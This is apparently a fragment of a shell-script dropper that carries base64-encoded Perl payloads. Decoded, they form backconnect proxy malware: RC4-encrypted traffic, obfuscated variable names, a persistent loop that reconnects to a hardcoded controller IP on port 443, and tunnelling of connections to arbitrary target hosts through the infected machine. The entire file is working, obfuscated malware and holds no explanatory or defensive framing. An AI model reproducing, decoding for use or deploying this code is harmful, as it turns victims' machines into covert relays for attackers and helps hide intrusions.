ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_61() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTYnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
